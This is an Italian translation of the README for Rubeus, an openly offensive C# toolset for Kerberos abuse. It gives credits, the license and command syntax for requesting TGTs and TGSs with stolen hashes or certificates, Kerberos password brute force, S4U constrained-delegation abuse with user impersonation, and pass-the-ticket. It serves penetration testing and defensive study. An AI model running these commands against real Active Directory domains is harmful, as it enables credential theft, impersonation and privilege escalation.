
Toolset C# per l'interazione grezza con Kerberos e il suo abuso: richieste TGT/TGS, abuso della delega S4U, Kerberoasting, AS-REP roasting e raccolta di ticket.
Rubeus è un toolset C# per l'interazione e gli abusi diretti su Kerberos. È fortemente adattato dal progetto Kekeo di Benjamin Delpy (licenza CC BY-NC-SA 4.0) e dal progetto MakeMeEnterpriseAdmin di Vincent LE TOUX (licenza GPL v3.0). Il merito completo va a Benjamin e Vincent per aver risolto le componenti più complesse della weaponization: senza il loro lavoro precedente questo progetto non esisterebbe.
Charlie Clark e Ceri Coburn hanno entrambi dato contributi significativi alla codebase di Rubeus. Elad Shamir ha contribuito con del lavoro essenziale per la resource-based constrained delegation. Il loro lavoro è molto apprezzato!
Rubeus utilizza inoltre una libreria C# di parsing/encoding ASN.1 di Thomas Pornin chiamata DDer, rilasciata con una licenza "MIT-like". Un enorme ringraziamento a Thomas per il suo codice pulito e stabile!
Il codice PKINIT è fortemente adattato dallo strumento Bruce di @SteveSyfuhs. Bruce ha reso RFC4556 (PKINIT) molto più facile da comprendere. Un enorme ringraziamento a Steve!
Il metodo KerberosRequestorSecurityToken.GetRequest per il Kerberoasting è stato contribuito a PowerView (e poi incorporato in Rubeus) da @machosec.
@harmj0y è l'autore principale di questa codebase.
Rubeus è distribuito con licenza BSD 3-Clause.
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.6.4
Richieste e rinnovi di ticket:
Recupera un TGT basato su una password/hash utente, con la possibilità di salvarlo su file o applicarlo alla sessione di logon corrente o a un LUID specifico:
Rubeus.exe asktgt /user:USER </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/opsec]
Recupera un TGT basato su una password/hash utente, avvia un processo /netonly e applica il ticket alla nuova sessione di processo/logon:
Rubeus.exe asktgt /user:USER </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> /createnetonly:C:\Windows\System32\cmd.exe [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/nowrap] [/opsec]
Recupera un TGT utilizzando un certificato PCKS12, avvia un processo /netonly e applica il ticket alla nuova sessione di processo/logon:
Rubeus.exe asktgt /user:USER /certificate:C:\temp\leaked.pfx </password:STOREPASSWORD> /createnetonly:C:\Windows\System32\cmd.exe [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/nowrap]
Recupera un TGT utilizzando un certificato dal keystore dell'utente (Smartcard) specificando l'impronta digitale o il subject del certificato, avvia un processo /netonly e applica il ticket alla nuova sessione di processo/logon:
Rubeus.exe asktgt /user:USER /certificate:f063e6f4798af085946be6cd9d82ba3999c7ebac /createnetonly:C:\Windows\System32\cmd.exe [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/nowrap]
Recupera un service ticket per uno o più SPN, con la possibilità di salvare o applicare il ticket:
Rubeus.exe asktgs </ticket:BASE64 | /ticket:FILE.KIRBI> </service:SPN1,SPN2,...> [/enctype:DES|RC4|AES128|AES256] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/nowrap] [/enterprise] [/opsec] </tgs:BASE64 | /tgs:FILE.KIRBI> [/usesvcdomain]
Rinnova un TGT, con la possibilità di applicare il ticket, salvarlo o rinnovarlo automaticamente fino al suo limite di renew-till:
Rubeus.exe renew </ticket:BASE64 | /ticket:FILE.KIRBI> [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/autorenew] [/nowrap]
Esegue un attacco di brute force della password basato su Kerberos:
Rubeus.exe brute </password:PASSWORD | /passwords:PASSWORDS_FILE> [/user:USER | /users:USERS_FILE] [/domain:DOMAIN] [/creduser:DOMAIN\\USER & /credpassword:PASSWORD] [/ou:ORGANIZATION_UNIT] [/dc:DOMAIN_CONTROLLER] [/outfile:RESULT_PASSWORD_FILE] [/noticket] [/verbose] [/nowrap]
Abuso della constrained delegation:
Esegue l'abuso della S4U constrained delegation:
Rubeus.exe s4u </ticket:BASE64 | /ticket:FILE.KIRBI> </impersonateuser:USER | /tgs:BASE64 | /tgs:FILE.KIRBI> /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/nowrap] [/opsec] [/self]
Rubeus.exe s4u /user:USER </rc4:HASH | /aes256:HASH> [/domain:DOMAIN] </impersonateuser:USER | /tgs:BASE64 | /tgs:FILE.KIRBI> /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/nowrap] [/opsec] [/self] [/bronzebit]
Esegue l'abuso della S4U constrained delegation tra domini:
Rubeus.exe s4u /user:USER </rc4:HASH | /aes256:HASH> [/domain:DOMAIN] </impersonateuser:USER | /tgs:BASE64 | /tgs:FILE.KIRBI> /msdsspn:SERVICE/SERVER /targetdomain:DOMAIN.LOCAL /targetdc:DC.DOMAIN.LOCAL [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/nowrap] [/self]
Gestione dei ticket:
Invia un TGT, con la possibilità di indirizzarlo a un LUID specifico (se elevato):
Rubeus.exe ptt </ticket:BASE64 | /ticket:FILE.KIRBI> [/luid:LOGINID]
Elimina i ticket dalla sessione di logon corrente, con la possibilità di indirizzarli a un LUID specifico (se elevato):
Rubeus.exe purge [/luid:LOGINID]